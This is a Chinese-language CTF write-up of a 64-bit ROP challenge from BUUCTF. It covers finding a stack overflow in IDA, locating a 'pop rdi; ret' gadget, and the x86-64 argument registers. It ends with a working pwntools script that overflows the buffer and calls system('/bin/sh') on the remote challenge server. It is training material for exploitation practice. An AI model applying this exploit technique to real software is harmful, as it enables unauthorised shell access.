64 位 ROP!!!

64 位 ROP

话不多说,直接上题(BUUCTF)

64 位 ROP!!!-侠者安全社区

扔进 IDA64 中反编译,发现调用了一个函数,进去看看

64 位 ROP!!!-侠者安全社区

缓存区 buf 大小居然为 200,肯定存在溢出

64 位 ROP!!!-侠者安全社区

双击 buf 可以算出需要 136 个字节垃圾数据

64 位 ROP!!!-侠者安全社区

没有给后门函数,但是给了相关字符串,需要构造 ROP

64 位 ROP!!!-侠者安全社区

64 位系统还格外需要一个 pop rdi; ret 指令,使用工具 ROPgadget 获取其地址

pop rdi; ret 是一个非常常见的 ROP gadget,它的作用是将栈上的一个值弹出并放入 rdi 寄存器中,然后执行 ret 跳转到下一个指令

64 位 ROP!!!-侠者安全社区

构造 payload,pop rdi 在前,参数在函数前面

对于64位的Linux系统,函数的参数是这样传递的:

  • rdi: 第一个参数

  • rsi: 第二个参数

  • rdx: 第三个参数

  • rcx: 第四个参数

  • r8: 第五个参数

  • r9: 第六个参数

如果参数个数超过6个,那么剩余的参数会被推入栈中

from pwn import *

p = remote("node5.buuoj.cn",28172)

binsh = 0x0600A90
sys_addr = 0x0400603
pop_rdi = 0x04006b3

payload = b'a' * 136 + p64(pop_rdi) + p64(binsh) + p64(sys_addr)

p.sendline(payload)
p.interactive()

成功拿到 flag

 

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情快捷回复

    暂无评论内容